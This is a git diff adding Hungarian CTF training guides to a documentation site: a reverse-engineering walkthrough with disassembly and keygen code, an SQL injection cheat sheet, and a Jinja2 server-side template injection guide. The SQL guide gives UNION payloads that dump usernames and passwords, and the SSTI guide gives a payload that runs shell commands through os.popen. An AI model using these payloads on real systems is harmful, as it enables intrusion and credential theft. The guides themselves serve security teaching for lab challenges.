diff --git a/app/docs/guides/training/ctf/01_reverse_engineering.md b/app/docs/guides/training/ctf/01_reverse_engineering.md new file mode 100644 index 0000000000000000000000000000000000000000..5472a6358eeabb10fdc4a053fbce65e8f9c98b50 --- /dev/null +++ b/app/docs/guides/training/ctf/01_reverse_engineering.md @@ -0,0 +1,291 @@ +--- +title: Reverse engineering +keywords: [SecurITeam, reverse, sql, template] +pagination_next: guides/training/ctf/sql_injection +--- + +# Könnyű reverse feladat (serial1) + +Adott egy futtatható ELF fájl, forráskód nélkül. A program egy kulcsot vár, de a kulcsról nem tudunk semmit. A feladat a helyes kulcs megtalálása. + +## Megoldás + +Objdump-pal megnézzük a forráskódot. +``` +$ objdump -d serial1 + +0000000000001050 <main>: + 1050: 53 push %rbx + 1051: 83 ff 02 cmp $0x2,%edi + 1054: 75 6a jne 10c0 <main+0x70> + 1056: 48 8b 5e 08 mov 0x8(%rsi),%rbx + 105a: 48 89 df mov %rbx,%rdi + 105d: e8 de ff ff ff call 1040 <strlen@plt> + 1062: 48 83 f8 0c cmp $0xc,%rax + 1066: 75 45 jne 10ad <main+0x5d> + 1068: 80 3b 4b cmpb $0x4b,(%rbx) + 106b: 75 40 jne 10ad <main+0x5d> + 106d: 80 7b 01 53 cmpb $0x53,0x1(%rbx) + 1071: 75 3a jne 10ad <main+0x5d> + 1073: 80 7b 02 5a cmpb $0x5a,0x2(%rbx) + 1077: 75 34 jne 10ad <main+0x5d> + 1079: 80 7b 03 4b cmpb $0x4b,0x3(%rbx) + 107d: 75 2e jne 10ad <main+0x5d> + 107f: 80 7b 04 2d cmpb $0x2d,0x4(%rbx) + 1083: 75 28 jne 10ad <main+0x5d> + 1085: 0f b6 43 09 movzbl 0x9(%rbx),%eax + 1089: 32 43 0a xor 0xa(%rbx),%al + 108c: 32 43 05 xor 0x5(%rbx),%al + 108f: 32 43 06 xor 0x6(%rbx),%al + 1092: 32 43 07 xor 0x7(%rbx),%al + 1095: 32 43 08 xor 0x8(%rbx),%al + 1098: 38 43 0b cmp %al,0xb(%rbx) + 109b: 75 10 jne 10ad <main+0x5d> + 109d: 48 8d 3d 94 0f 00 00 lea 0xf94(%rip),%rdi # 2038 <_IO_stdin_used+0x38> + 10a4: e8 87 ff ff ff call 1030 <puts@plt> + 10a9: 31 c0 xor %eax,%eax + 10ab: 5b pop %rbx + 10ac: c3 ret + 10ad: 48 8d 3d 67 0f 00 00 lea 0xf67(%rip),%rdi # 201b <_IO_stdin_used+0x1b> + 10b4: e8 77 ff ff ff call 1030 <puts@plt> + 10b9: b8 01 00 00 00 mov $0x1,%eax + 10be: 5b pop %rbx + 10bf: c3 ret + 10c0: 48 8d 3d 3d 0f 00 00 lea 0xf3d(%rip),%rdi # 2004 <_IO_stdin_used+0x4> + 10c7: e8 64 ff ff ff call 1030 <puts@plt> + 10cc: eb eb jmp 10b9 <main+0x69> + 10ce: 66 90 xchg %ax,%ax +``` + +Ez a main függvény kódja. Részről részre: +###### argc == 2 +``` + 1051: 83 ff 02 cmp $0x2,%edi + 1054: 75 6a jne 10c0 <main+0x70> +``` + +###### strlen(argv[1]) == 0x0c (11) +``` + 1056: 48 8b 5e 08 mov 0x8(%rsi),%rbx + 105a: 48 89 df mov %rbx,%rdi + 105d: e8 de ff ff ff call 1040 <strlen@plt> + 1062: 48 83 f8 0c cmp $0xc,%rax + 1066: 75 45 jne 10ad <main+0x5d> +``` + +###### serial[0:5] == "KSZK-" +``` + 1068: 80 3b 4b cmpb $0x4b,(%rbx) + 106b: 75 40 jne 10ad <main+0x5d> + 106d: 80 7b 01 53 cmpb $0x53,0x1(%rbx) + 1071: 75 3a jne 10ad <main+0x5d> + 1073: 80 7b 02 5a cmpb $0x5a,0x2(%rbx) + 1077: 75 34 jne 10ad <main+0x5d> + 1079: 80 7b 03 4b cmpb $0x4b,0x3(%rbx) + 107d: 75 2e jne 10ad <main+0x5d> + 107f: 80 7b 04 2d cmpb $0x2d,0x4(%rbx) + 1083: 75 28 jne 10ad <main+0x5d> +``` + +###### seraial[5:10] XOR önmagával karakterenként +``` + 1085: 0f b6 43 09 movzbl 0x9(%rbx),%eax + 1089: 32 43 0a xor 0xa(%rbx),%al + 108c: 32 43 05 xor 0x5(%rbx),%al + 108f: 32 43 06 xor 0x6(%rbx),%al + 1092: 32 43 07 xor 0x7(%rbx),%al + 1095: 32 43 08 xor 0x8(%rbx),%al +``` +Ennél nagyon érdekes sorrendet választott a compiler, nem tudom miért. + +###### XOR eredmény == serial[10] +``` + 1098: 38 43 0b cmp %al,0xb(%rbx) + 109b: 75 10 jne 10ad <main+0x5d> +``` + +###### Printf (puts) hívások +``` + 109d: 48 8d 3d 94 0f 00 00 lea 0xf94(%rip),%rdi # 2038 <_IO_stdin_used+0x38> + 10a4: e8 87 ff ff ff call 1030 <puts@plt> + 10a9: 31 c0 xor %eax,%eax + 10ab: 5b pop %rbx + 10ac: c3 ret + 10ad: 48 8d 3d 67 0f 00 00 lea 0xf67(%rip),%rdi # 201b <_IO_stdin_used+0x1b> + 10b4: e8 77 ff ff ff call 1030 <puts@plt> + 10b9: b8 01 00 00 00 mov $0x1,%eax + 10be: 5b pop %rbx + 10bf: c3 ret + 10c0: 48 8d 3d 3d 0f 00 00 lea 0xf3d(%rip),%rdi # 2004 <_IO_stdin_used+0x4> + 10c7: e8 64 ff ff ff call 1030 <puts@plt> + 10cc: eb eb jmp 10b9 <main+0x69> + 10ce: 66 90 xchg %ax,%ax +``` + +### Megoldás menete +Végignézzük az utasítások, információt gyűjtünk, hogy milyen serialt fogad el a program. A fent mutatott összes feltételnek teljesülnie kell. A következő lépés egy egyszerű kulcsgenerátor program készítése. Erre készítsünk Python programot. + +```python= +desired = input("Adj meg 6 karaktert: ") +res = 0 +for c in desired: + res ^= ord(c) +print("Kulcsod: KSZK-", desired, chr(res), sep='') +``` + +## Forráskód +```cpp= +#include <stdio.h> + +int main(int argc, char *argv[]) { + if (argc != 2) { + printf("Usage: serial <SERIAL>\n"); + return 1; + } + + const char *serial = argv[1]; + if (strlen(serial) != 12) { + printf("Invalid serial number\n"); + return 1; + } + const char prefix[] = "KSZK"; + for (int i=0; i < 4; i++) { + if (serial[i] != prefix[i]) { + printf("Invalid serial number\n"); + return 1; + } + } + + if (serial[4] != '-') { + printf("Invalid serial number\n"); + return 1; + } + + char res = 0; + for (int i=5; i < 11; i++) { + res ^= serial[i]; + } + + if (res != serial[11]) { + printf("Invalid serial number\n"); + return 1; + } + + printf("Serial number is valid\nGreat job!\n"); +} +``` + + + +# Hagyma reversing + +Megszokott módon `objdump`. + +`$ objdump -d hagyma` +Itt nincs main, mert ez a program nem használja a libc-t, ez *bare metal*. +Van `_start`, itt kezd a program. A program viselkedését GDB-vel fogjuk vizsgálni, mert az `objdump` kimenetében láttuk, hogy vannak hibás bájtok, és ettő megijedtünk. De előtte, + +## Headerek vizsgálata +``` +$ objdump -x hagyma + +<snip> +Sections: +Idx Name Size VMA LMA File off Algn + 0 .note.gnu.property 00000030 0000000000400190 0000000000400190 00000190 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 1 .note.gnu.build-id 00000024 00000000004001c0 00000000004001c0 000001c0 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 2 .text 00000067 0000000000401000 0000000000401000 00001000 2**0 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 3 code 000000f5 0000000000402000 0000000000402000 00002000 2**0 + CONTENTS, ALLOC, LOAD, CODE +<snip> +``` +Érdekes, hogy van egy nem standard section, a code. Továbbá ez a section írható, olvasható, **és futtatható**. Ez lehet egy önmódosító program, ezért nézzüg GDB-vel. + +## GDB TUI +``` +$ gdb hagyma +(gdb) b _start +(gdb) r +``` +Lépjünk át TUI módba a `Ctrl` + `x` és `Ctrl` + `a` gombokkal. Ezután váltsunk asm layoutra, a `layout asm` paranccsal. Fent látni az assembly utasításokat. `si` vel lépjünk egyesével. + +## Megoldás +A program szintén vár egy paramétert. Futtassuk azzal `r asdasd`. +``` + 40202a: 8a 47 0f mov 0xf(%rdi),%al + 40202d: 3c 46 cmp $0x46,%al + 40202f: e8 e7 ff ff ff call 40201b <check> +``` +Láthatjuk, hogy a 15. karakterét hasonlítja a megadott paraméternek a 0x46 (F)-el, és `check`-et hív. + +A `check` függvény: +``` +000000000040201b <check>: + 40201b: 0f 85 0a f0 ff ff jne 40102b <fail> + 402021: e8 da ff ff ff call 402000 <decode> + 402026: 48 31 c0 xor %rax,%rax + 402029: c3 ret +``` +Ha az utolsó utasítás nem 0-t adott, akkor fail, amúgy decode. + +A decode függvény: +``` +0000000000402000 <decode>: + 402000: 49 8d 82 2a 20 40 00 lea 0x40202a(%r10),%rax + 402007: 48 8b 18 mov (%rax),%rbx + 40200a: 48 31 58 10 xor %rbx,0x10(%rax) + 40200e: 48 8b 58 08 mov 0x8(%rax),%rbx + 402012: 48 31 58 18 xor %rbx,0x18(%rax) + 402016: 49 83 c2 10 add $0x10,%r10 + 40201a: c3 ret +``` +`_l0`-tól `%r10` bájtra lévő címet veszi alapcímnek. Onnan beolvas 16 bájtot, és az azt követő 16 bájtot XOR-ozza vele, és a 2. 16 bájtot felülírja vele, ezzel lefejtve a hagyma egy rétegét. + +Végigmegyünk a rétegeken, és GDB-ben figyeljük, hogy mi kell hozzá. + +## Rétegek +1. 16. karakter legyen F +2. Első és a negyedik karakter legyen ugyan az, és legyen K +3. Harmadikból a negyedik karaktert kivonva az eredmény legyen 7 +4. Az 5., 10., 13., karakterek a `_` karakterrel XORozva adjanak 0-t +5. A [6,9] karakterek legyenek a "S3CU" +6. A 11. karakter legyen `<` +7. A 14. karakter AND-elve a 15. karakterrel, majd XOR-ozva `0x40`-el adjon 0-t +8. A 12. karakter 2-es komplemensének alsó bájtja legyen `0xcd` + +Ebből a következő kulcs állítható össze: +`K##K_S3CU_<#_##F`, ahol a `#` karakterek bizonytalanságot jelentenek. + +A 8. szabájt kihasználva írhatunk egy gyors C kódot, ami megmondja a 12. karaktert: +```c= +#include <stdio.h> + +int main(void) { + for (unsigned char i=0; i<255; i++) { + if((unsigned char)(0-i) == 0xcd) + printf("%02X %c: %02X\n", i, i, (unsigned char)(0-i)); + } +} +``` +Ez a 3. +`K##K_S3CU_<3_##F`, még egy karaktert tudunk. +Hasonlóan a 7. szabályra: +```c= +#include <stdio.h> + +int main(void) { + for (unsigned char i=32; i<127; i++) + for (unsigned char j=32; j<127; j++) + if (((i & j) ^ 0x40) == 0) + printf("%c %c\n", i, j); +} +``` +Válasszunk egy valid megoldást, mondjuk a CT karaktereket. +`K##K_S3CU_<3_CTF`, még két karaktert tudunk. + +Az maradék 2 karakterről tudjuk, hogy az kódjaik különbsége 7. Válasszuk bármelyik 2 ilyen karaktert, mondjuk az S-t és a Z-t. + +`KSZK_S3CU_<3_CTF`, tudjuk az összes karaktert. \ No newline at end of file diff --git a/app/docs/guides/training/ctf/02_sql_injection.md b/app/docs/guides/training/ctf/02_sql_injection.md new file mode 100644 index 0000000000000000000000000000000000000000..f27b13bddf550bd443d646aafa0bce03940623c2 --- /dev/null +++ b/app/docs/guides/training/ctf/02_sql_injection.md @@ -0,0 +1,96 @@ +--- +title: SQLInjection +keywords: [SecurITeam, reverse, sql, template] +pagination_next: guides/training/ctf/template_injection +--- + +# SQLInjection cheat sheet + +## Cél: +Van egy users tábla, amiben van egy **admin** nevű felhasználó, és annak a jelszavát kell megszerezni. + +## Alap query SQL sziintaxisa: + +```sql +SELECT author, title, rating, cover_url FROM BOOK WHERE title = '{search_obj}'; + +SELECT author, title, rating, cover_url FROM BOOK + WHERE title = '{search_obj}'; +``` + +Itt a **search_obj** lesz az amit a felhasználó ad meg. Ez azt jelenti, hogy a felhasználó mondja meg, hogy mi legyen a címe a lekért könyvnek. Ez itt a problémás, mert a felhasználó tényleg bármit meg tud adni a lekérdezésben, és ezzel úgy meg tudja változtatni a lekérdezésünket, hogy olyan lekérdezést valósítson meg, amit mi nem szerettünk volna, hogy megtegyen. + +Ha mondjuk a felhasználó ezt az inputot adja a programunknak: + +```python +search_obj = alma' valami +``` +Akkor a lekérdezés, így fog kinézni: + +```sql +SELECT author, title, rating, cover_url FROM BOOK WHERE title = 'alma'valami'; +``` +Itt látható, hogy az "alma" szó után, lezártam a szöveget, és így a kikerültem abból a részből, ami a könyv címét adja meg. Ekkor már SQL kódot írok. Itt részre lehet venni, hogy a lekérdezés dob egy elnöki méretű hibát. Ez azért van, mert azzal, hogy kitörtünk a string-ből elrontottuk a szintaxisát a lekérdezésnek, ezt egyszerűen meg tudjuk javítani. + + +## Komment használata: +Patch: + +A lekérdezés többi részét ami nekünk nem kell kikommenteljeük. + + +```sql +SELECT author, title, rating, cover_url FROM BOOK WHERE title = 'alma'valami --'; +``` +Itt az lehet problémás, ha az sql kódba való kontárkodás után van még fontos része a lekérezésnek, akkor azt is eldobtuk. + +Most egyszerűen ki tudjuk listázni, az egész tábla tartalmát. Viszont nem találtunk semmi olyan adatot amit felhasználhatnánk. Valószínűleg ezt az adatot egy másik tábla tárolja. + +## Hogyan tudunk másik táblából lekérdezni (UNION): +SQLite-ban azt a táblát ami a táblákat tartalmazza **sqlite_master**-nak nevezzük. Listázzuk ki ennek a táblának a tartalmát. Ezt a **UNION** kulcsszó használatával tudjuk megoldani. + +```sql +SELECT attributum1 FROM tabla WHERE attributum = 1 UNION SELECT 2 FROM tabla2 WHERE attributum2 = 3; +``` +Ez a szintaxisa a lekérdezésnek, ez szimplán az eredeti lekérdezés után rakja azokat a rekordokat, amiket a **UNION** megtalál. + +Itt az a fontos, hogy ugyanannyi értéket szabad visszaadnia a **UNION**-os lekérdezésrésznek, mint a fő lekérdezésnek. Ahogy látszódik a példán is, hogy mindkettő lekérdezés 1 elemet ad vissza. + +## Hol találjuk meg a többi táblát? +Arra kell még figyelnünk, hogy az **sqlite_master** táblából nekünk a **tbl_name** oszlop kell nekünk. + +Így a lekérdezés, az alábbi módon fog kinézni: + +```sql +SELECT author, title, rating, cover_url FROM BOOK WHERE title = 'alma' UNION SELECT tbl_name, 1, 2,3 FROM sqlite_master--'; +``` +Avagy az input amit meg kell adnunk: + +```python +alma' UNION SELECT tbl_name, 1, 2,3 FROM sqlite_master-- +``` + +Itt azt fogjuk megkapni, hogy létezik egy **users** nevű tábla. + +Próbáljuk meg megnézni, mi van ebben a táblában. Ezt ugyanúgy a **UNION** kulcsszóval tudjuk megtenni. + +## Végső lekérdezés: + +```sql +SELECT author, title FROM BOOK WHERE author = 'alma' UNION SELECT username, password FROM users --'; +``` + +Azaz a következő inputot kell nekünk beadni. + +```python +alma' UNION SELECT username, password FROM users -- +``` + +És ekkor megkapjuk az összes felhasználó felhasználónevét és jelszavát, aucs. + +## Gyakori hibák: +* "-et használnak ' helyett. SQL általában mindig '-et használ +* Nincsen komment a lekérdezés végén +* Beragad valami az inputba és ha újratöltik az oldalt, akkor alapból elküldi a rossz lekérdezést a szervernek, ezért látszik úgy mintha teljesen eltört volna a szerver. +* A **UNION** kulcsszó más mennyiségú adatot ad vissza (4-et kell visszaadnia) +* A **UNION** olyan sorrendbe adja vissza az elemeket ahogy az eredeti, is de az utolsó elemet kép-ként parse-olja a szerver. Próbálják meg megváltoztatni a **SELECT** utáni attribútumok sorrendjét. + +## Kis plusz help +A böngészőbe épített Console kiírja az aktuális lekérdezést, hasznos debuggolásnál. \ No newline at end of file diff --git a/app/docs/guides/training/ctf/03_template_injection.md b/app/docs/guides/training/ctf/03_template_injection.md new file mode 100644 index 0000000000000000000000000000000000000000..0b8aea304f0e2336158d0539d079076bbb0902fe --- /dev/null +++ b/app/docs/guides/training/ctf/03_template_injection.md @@ -0,0 +1,68 @@ +--- +title: SSTI +keywords: [SecurITeam, reverse, sql, template] +--- + +# SSTI Cheat sheet + +Az SSTI ugyanabból a családból származik, mint az SQLInjection. Azaz ugyanúgy valamilyen inputot kell injektálnunk az applikációban. Ahogy a nevéből látható itt a template-be fogunk injektálni cukiság-okat. + +## Meet the template + +Ebben a feladatban a **Jinja2** templating library-vel fogunk megismerkedni. +A templating nyelv érdekessége, hogy html-be tudunk változókat átadni. Ezt a +**{{ változónév }}** szintaxissal tudjuk megvalósítani. + +## Hiba a programban + +Itt a programban az a hiba, hogy felhasználói inputot adunk át ennek a nyelvnek, és megjelenítjük anélkül, hogy verifikálnánk az inputot. + +```python +template = f""" + <!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <title>Index</title> +</head> + +<body> +<form action="", method="post"> + <input type="text", id="input", name="input"> +</form> +{form_input} +</body> +</html> + """ +return render_template_string(template) + +``` +Itt a változót **form_input** szimplán hozzáfűzzük, a template-hez, amit majd a template utána kirenderel. Azaz ha olyan inputot adunk, ami valid template instrukció akkor kódot tudunk futtatni a szerveren. + +## Az applikáció tesztelése: +Az egyszerű input amivel tesztelhetjük, hogy sérülékeny-e az applikáció, az ha inputként megadjuk a következő egyszerű input-ot **{{ 7*7 }}**. Ennek 49-et kellene kiadnia, és akkor a weboldal sérülékeny. + +## A sérülékenység kihasználása: +A pythonnak az osztályok/függvények parszoló részét fogjuk kihasználni. +A Jinja2 dokumentációból lehet sok mindent meg lehet találni ami segíthet, de mi most a requestet fogjuk felhasználni. Pontosabban a request application függvényét. + +## Python magic: +Ha az alábbi payload-ot beírtuk: +**{{request.application}}** Akkor a következő kimenetet kellen látnunk: **<bound method Request.application of <class 'flask.wrappers.Request'>>** Ebből azt látjuk, hogy ez egy metódus a request osztályban. Ez jó eddig is ezt gondoltuk. + +A **__globals__** függvény azt csinálja, hogy visszaadja a globális namespace-ét a függvénynek amire meghívjuk. + +Az a feladat, az hogy nekünk hasznos függvényeket tudjunk meghívni egyszerűen. Az elérhető függvényekket **__builtins__** metódus meghívásával tudjuk megnézni, ez sok függvényt kiír, viszont nekünk, a fontos az **__import__** lesz. + +Most már csak használnunk kell ezt a függvényt. + +```python +request.application.__builtins__.__import__('os').popen('id').read() +``` +Itt importáljuk az os modult, majd popen-nel meghívunk egy shell parancsot, és amit a parancs kiadott azt visszaadjuk, és ezt fogjuk majd látni a weboldalon. + +Tehát a végső input az alábbiként fog kinézni: + +```python +{{request.application.(__globals__.)__builtins__.__import__('os').popen('id').read()}} +``` \ No newline at end of file diff --git a/app/docs/guides/training/ctf/_category_.json b/app/docs/guides/training/ctf/_category_.json new file mode 100644 index 0000000000000000000000000000000000000000..4d074305e1bb8efd404e2c03674636ff5b64b73b --- /dev/null +++ b/app/docs/guides/training/ctf/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "CTF feladatok", + "position": 4 +} diff --git a/app/sidebars.js b/app/sidebars.js index f84d6c2b86cbd7af9daa0ab194b26fae75e0b74d..c7b054034a7e02d7a269de2d3c5fe7cdfc6e387a 100644 --- a/app/sidebars.js +++ b/app/sidebars.js @@ -60,6 +60,20 @@ const sidebars = { }, items: [{ type: "autogenerated", dirName: "guides/training/linux" }], }, + { + type: "category", + label: "CTF feladatok", + link: { + type: "doc", + id: "guides/training/ctf/reverse_engineering", + }, + items: [ + { + type: "autogenerated", + dirName: "guides/training/ctf", + }, + ], + }, ], }, ],